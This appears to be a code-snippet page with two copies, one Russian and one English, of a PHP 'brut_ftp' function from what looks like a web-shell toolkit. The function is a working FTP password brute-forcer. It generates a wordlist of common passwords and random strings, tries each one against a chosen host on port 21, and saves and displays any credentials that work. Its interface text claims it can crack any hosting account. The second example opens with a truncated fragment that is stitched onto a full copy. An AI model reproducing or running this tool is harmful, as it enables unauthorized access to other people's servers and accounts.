Esempio n. 1
0
function brut_ftp()
{
    global $action, $private_site, $title_exp, $login, $host, $file, $chislo, $proverka;
    set_time_limit(0);
    ignore_user_abort(1);
    echo "<br>\r\n<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n<tr><td align=center class=pagetitle><b>Брутфорсер ФТП</b></font></b></td></tr>\r\n<tr><td bgcolor=#FFFFCC><br><blockquote>С помощью данного брутфорсера вы сможете подобрать пароль к любому хостингу без проблем, чтобы было что перебирать я добавил базу\r\nпаролей, которая генерируется на лету ( не пишите большие цифры в <b>колличестве паролей</b> так как это серьезная нагрузка на сервер 10000 вполне хватит) . </blockquote></td></tr>\r\n</table>";
    echo "\r\n <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n <form action='{$PHP_SELF}?action=brut_ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle>\r\n &nbsp;&nbsp;<b>Brut FTP:</b></td></tr>\r\n <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500>\r\n &nbsp;&nbsp;<b>Brutforcer Ftp</b>(полноценный брутфорсер, который работает по методу подстановки паролей, которые берет из файла, файл генерируется сам, вы только указываете число паролей и все перебор начинается!!!)</td></tr>\r\n<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;FTPHost:</td>\r\n<td align=left width=350>&nbsp;&nbsp;&nbsp;\r\n<input class='inputbox' type='text' name='host' size=50></td></tr>\r\n<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Login:</td>\r\n<td align=left width=350>&nbsp;&nbsp;&nbsp;\r\n<input class='inputbox' type='text' name='login' size=50></td></tr>\r\n<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Колличество паролей:</td>\r\n<td align=left width=350>&nbsp;&nbsp;&nbsp;\r\n<input class='inputbox' type='text' name='chislo' size=10></td></tr>\r\n<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Пароль для проверки:</td>\r\n<td align=left width=350>&nbsp;&nbsp;&nbsp;\r\n<input class='inputbox' type='text' name='proverka' size=50></td></tr>\r\n<tr><td width=500 align=center colspan=2><input type='submit' value='Brut FTP' class=button1 {$style_button}>\r\n</td></tr>\r\n \r\n </form></table>";
    function s()
    {
        $word = "qwrtypsdfghjklzxcvbnm";
        return $word[mt_rand(0, strlen($word) - 1)];
    }
    function g()
    {
        $word = "euioam";
        return $word[mt_rand(0, strlen($word) - 2)];
    }
    function name0()
    {
        return s() . g() . s();
    }
    function name1()
    {
        return s() . g() . s() . g();
    }
    function name2()
    {
        return s() . g() . g() . s();
    }
    function name3()
    {
        return s() . s() . g() . s() . g();
    }
    function name4()
    {
        return g() . s() . g() . s() . g();
    }
    function name5()
    {
        return g() . g() . s() . g() . s();
    }
    function name6()
    {
        return g() . s() . s() . g() . s();
    }
    function name7()
    {
        return s() . g() . g() . s() . g();
    }
    function name8()
    {
        return s() . g() . s() . g() . g();
    }
    function name9()
    {
        return s() . g() . s() . g() . s() . g();
    }
    function name10()
    {
        return s() . g() . s() . s() . g() . s() . s();
    }
    function name11()
    {
        return s() . g() . s() . s() . g() . s() . s() . g();
    }
    $cool = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 99, 100, 111, 111111, 666, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005);
    $cool2 = array('q1w2e3', 'qwerty', 'qwerty111111', '123456', '1234567890', '0987654321', 'asdfg', 'zxcvbnm', 'qazwsx', 'q1e3r4w2', 'q1r4e3w2', '1q2w3e', '1q3e2w', 'poiuytrewq', 'lkjhgfdsa', 'mnbvcxz', 'asdf', 'root', 'admin', 'admin123', 'lamer123', 'admin123456', 'administrator', 'administrator123', 'q1w2e3r4t5', 'root123', 'microsoft', 'muther', 'hacker', 'hackers', 'cracker');
    function randword()
    {
        global $cool;
        $func = "name" . mt_rand(0, 11);
        $func2 = "name" . mt_rand(0, 11);
        switch (mt_rand(0, 11)) {
            case 0:
                return $func() . mt_rand(5, 99);
            case 1:
                return $func() . "-" . $func2();
            case 2:
                return $func() . $cool[mt_rand(0, count($cool) - 1)];
            case 3:
                return $func() . "!" . $func();
            case 4:
                return randpass(mt_rand(5, 12));
            default:
                return $func();
        }
    }
    function randpass($len)
    {
        $word = "qwertyuiopasdfghjklzxcvbnm1234567890";
        $s = "";
        for ($i = 0; $i < $len; $i++) {
            $s .= $word[mt_rand(0, strlen($word) - 1)];
        }
        return $s;
    }
    if (@unlink("pass.txt") < 0) {
        echo "нету ничего";
        exit;
    }
    $file = "pass.txt";
    if ($file && $host && $login) {
        $cn = mt_rand(30, 30);
        for ($i = 0; $i < $cn; $i++) {
            $s = $cool2[$i];
            $f = @fopen(pass . ".txt", "a+");
            fputs($f, "{$s}\n");
        }
        $cnt2 = mt_rand(43, 43);
        for ($i = 0; $i < $cnt2; $i++) {
            $r = $cool[$i];
            $f = @fopen(pass . ".txt", "a+");
            fputs($f, "{$login}{$r}\n");
        }
        $p = "{$proverka}";
        $f = @fopen(pass . ".txt", "a+");
        fputs($f, "{$p}\n");
        $cnt3 = mt_rand($chislo, $chislo);
        for ($i = 0; $i < $cnt3; $i++) {
            $u = randword();
            $f = @fopen(pass . ".txt", "a+");
            fputs($f, "{$u}\n");
        }
        if (is_file($file)) {
            $passwd = file($file, 1000);
            for ($i = 0; $i < count($passwd); $i++) {
                $stop = false;
                $password = trim($passwd[$i]);
                $open_ftp = @fsockopen($host, 21);
                if ($open_ftp != false) {
                    fputs($open_ftp, "user {$login}\n");
                    fputs($open_ftp, "pass {$password}\n");
                    while (!feof($open_ftp) && $stop != true) {
                        $text = fgets($open_ftp, 4096);
                        if (preg_match("/230/", $text)) {
                            $stop = true;
                            $f = @fopen($host . _ftp, "a+");
                            fputs($f, "Enter on ftp:\nFTPhosting:\t{$host}\nLogin:\t{$login}\nPassword:\t{$password}\n ");
                            echo "\r\n\t   \t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n<tr><td align=center class=pagetitle><b><font color=\"blue\">Поздравляю!!! Пароль подобран.</font></b><br>\r\n&nbsp;&nbsp;Конект: <b>{$host}</b><br>&nbsp;&nbsp;Логин: <b>{$login}</b><br>&nbsp;&nbsp;Пароль: <b>{$password}</b></td></tr></table>\r\n";
                            exit;
                        } elseif (preg_match("/530/", $text)) {
                            $stop = true;
                        }
                    }
                    fclose($open_ftp);
                } else {
                    echo "\r\n\t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n<tr><td align=center class=pagetitle bgcolor=#FF0000><b>Не верно указано фтп хостинга!!! На <b><u>{$host}</u></b> закрыт 21 порт</b></b></td></tr>\r\n</table>\r\n";
                    exit;
                }
            }
        }
    }
}
Esempio n. 2
0
     $s = $cool2[$i];
     $f = @fopen(pass . ".txt", "a+");
     fputs($f, "{$s}\n");
 }
 $cnt2 = mt_rand(43, 43);
 for ($i = 0; $i < $cnt2; $i++) {
     $r = $cool[$i];
     $f = @fopen(pass . ".txt", "a+");
     fputs($f, "{$login}{$r}\n");
 }
 $p = "{$testing}";
 $f = @fopen(pass . ".txt", "a+");
 fputs($f, "{$p}\n");
 $cnt3 = mt_rand($number, $number);
 for ($i = 0; $i < $cnt3; $i++) {
     $u = randword();
     $f = @fopen(pass . ".txt", "a+");
     fputs($f, "{$u}\n");
 }
 if (is_file($file)) {
     $passwd = file($file, 1000);
     for ($i = 0; $i < count($passwd); $i++) {
         $stop = false;
         $password = trim($passwd[$i]);
         $open_ftp = @fsockopen($host, 21);
         if ($open_ftp != false) {
             fputs($open_ftp, "user {$login}\n");
             fputs($open_ftp, "pass {$password}\n");
             while (!feof($open_ftp) && $stop != true) {
                 $text = fgets($open_ftp, 4096);
                 if (preg_match("/230/", $text)) {
function brut_ftp()
{
    global $action, $private_site, $title_exp, $login, $host, $file, $chislo, $proverka;
    set_time_limit(0);
    ignore_user_abort(1);
    echo "<br>\n\n<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n<tr><td align=center class=pagetitle><b>FTP bruteforce</b></font></b></td></tr>\n<tr><td bgcolor=#FFFFCC><br><blockquote>This is new ftp-bruteforcer it can make his own brute passwords list on the fly he needs nothing to do it, so It's not a problem for you to bryte any ftp account now. But do not write very big value of passwords (10000 will be quite enough) because it mat couse a very heavy server overload . </blockquote></td></tr>\n\n</table>";
    echo "\n\n <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n <form action='{$PHP_SELF}?action=brut_ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle>\n\n &nbsp;&nbsp;<b>Brut FTP:</b></td></tr>\n\n <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500>\n\n &nbsp;&nbsp;<b>FTP bruteforce</b>(full bruteforce, you are only to enter a value of number of passwords and brute will begin from password-list file, which script generates itself on the fly!)</td></tr>\n\n<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;FTPHost:</td>\n\n<td align=left width=350>&nbsp;&nbsp;&nbsp;\n\n<input class='inputbox' type='text' name='host' size=50></td></tr>\n\n<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Login:</td>\n\n<td align=left width=350>&nbsp;&nbsp;&nbsp;\n\n<input class='inputbox' type='text' name='login' size=50></td></tr>\n\n<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Number of passwords:</td>\n\n<td align=left width=350>&nbsp;&nbsp;&nbsp;\n\n<input class='inputbox' type='text' name='chislo' size=10></td></tr>\n\n<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Password to test:</td>\n\n<td align=left width=350>&nbsp;&nbsp;&nbsp;\n\n<input class='inputbox' type='text' name='proverka' size=50></td></tr>\n\n<tr><td width=500 align=center colspan=2><input type='submit' value='FTP brute start' class=button1 {$style_button}>\n\n</td></tr>\n\n\n\n </form></table>";
    function s()
    {
        $word = "qwrtypsdfghjklzxcvbnm";
        return $word[mt_rand(0, strlen($word) - 1)];
    }
    function g()
    {
        $word = "euioam";
        return $word[mt_rand(0, strlen($word) - 2)];
    }
    function name0()
    {
        return s() . g() . s();
    }
    function name1()
    {
        return s() . g() . s() . g();
    }
    function name2()
    {
        return s() . g() . g() . s();
    }
    function name3()
    {
        return s() . s() . g() . s() . g();
    }
    function name4()
    {
        return g() . s() . g() . s() . g();
    }
    function name5()
    {
        return g() . g() . s() . g() . s();
    }
    function name6()
    {
        return g() . s() . s() . g() . s();
    }
    function name7()
    {
        return s() . g() . g() . s() . g();
    }
    function name8()
    {
        return s() . g() . s() . g() . g();
    }
    function name9()
    {
        return s() . g() . s() . g() . s() . g();
    }
    function name10()
    {
        return s() . g() . s() . s() . g() . s() . s();
    }
    function name11()
    {
        return s() . g() . s() . s() . g() . s() . s() . g();
    }
    $cool = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 99, 100, 111, 111111, 666, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005);
    $cool2 = array('q1w2e3', 'qwerty', 'qwerty111111', '123456', '1234567890', '0987654321', 'asdfg', 'zxcvbnm', 'qazwsx', 'q1e3r4w2', 'q1r4e3w2', '1q2w3e', '1q3e2w', 'poiuytrewq', 'lkjhgfdsa', 'mnbvcxz', 'asdf', 'root', 'admin', 'admin123', 'lamer123', 'admin123456', 'administrator', 'administrator123', 'q1w2e3r4t5', 'root123', 'microsoft', 'muther', 'hacker', 'hackers', 'cracker');
    function randword()
    {
        global $cool;
        $func = "name" . mt_rand(0, 11);
        $func2 = "name" . mt_rand(0, 11);
        switch (mt_rand(0, 11)) {
            case 0:
                return $func() . mt_rand(5, 99);
            case 1:
                return $func() . "-" . $func2();
            case 2:
                return $func() . $cool[mt_rand(0, count($cool) - 1)];
            case 3:
                return $func() . "!" . $func();
            case 4:
                return randpass(mt_rand(5, 12));
            default:
                return $func();
        }
    }
    function randpass($len)
    {
        $word = "qwertyuiopasdfghjklzxcvbnm1234567890";
        $s = "";
        for ($i = 0; $i < $len; $i++) {
            $s .= $word[mt_rand(0, strlen($word) - 1)];
        }
        return $s;
    }
    if (@unlink("pass.txt") < 0) {
        echo "nothing";
        exit;
    }
    $file = "pass.txt";
    if ($file && $host && $login) {
        $cn = mt_rand(30, 30);
        for ($i = 0; $i < $cn; $i++) {
            $s = $cool2[$i];
            $f = @fopen(pass . ".txt", "a+");
            fputs($f, "{$s}\n");
        }
        $cnt2 = mt_rand(43, 43);
        for ($i = 0; $i < $cnt2; $i++) {
            $r = $cool[$i];
            $f = @fopen(pass . ".txt", "a+");
            fputs($f, "{$login}{$r}\n");
        }
        $p = "{$proverka}";
        $f = @fopen(pass . ".txt", "a+");
        fputs($f, "{$p}\n");
        $cnt3 = mt_rand($chislo, $chislo);
        for ($i = 0; $i < $cnt3; $i++) {
            $u = randword();
            $f = @fopen(pass . ".txt", "a+");
            fputs($f, "{$u}\n");
        }
        if (is_file($file)) {
            $passwd = file($file, 1000);
            for ($i = 0; $i < count($passwd); $i++) {
                $stop = false;
                $password = trim($passwd[$i]);
                $open_ftp = @fsockopen($host, 21);
                if ($open_ftp != false) {
                    fputs($open_ftp, "user {$login}\n");
                    fputs($open_ftp, "pass {$password}\n");
                    while (!feof($open_ftp) && $stop != true) {
                        $text = fgets($open_ftp, 4096);
                        if (preg_match("/230/", $text)) {
                            $stop = true;
                            $f = @fopen($host . _ftp, "a+");
                            fputs($f, "Enter on ftp:\nFTPhosting:\t{$host}\nLogin:\t{$login}\nPassword:\t{$password}\n ");
                            echo "\n\n\t   \t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n<tr><td align=center class=pagetitle><b><font color=\"blue\">Congratulations! Password is known now.</font></b><br>\n\n&nbsp;&nbsp;Connected to: <b>{$host}</b><br>&nbsp;&nbsp;with login: <b>{$login}</b><br>&nbsp;&nbsp;with password: <b>{$password}</b></td></tr></table>\n\n";
                            exit;
                        } elseif (preg_match("/530/", $text)) {
                            $stop = true;
                        }
                    }
                    fclose($open_ftp);
                } else {
                    echo "\n\n\t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n<tr><td align=center class=pagetitle bgcolor=#FF0000><b>FTP is incorrect!!! At <b><u>{$host}</u></b> 21 port is closed! check your settings</b></b></td></tr>\n\n</table>\n\n";
                    exit;
                }
            }
        }
    }
}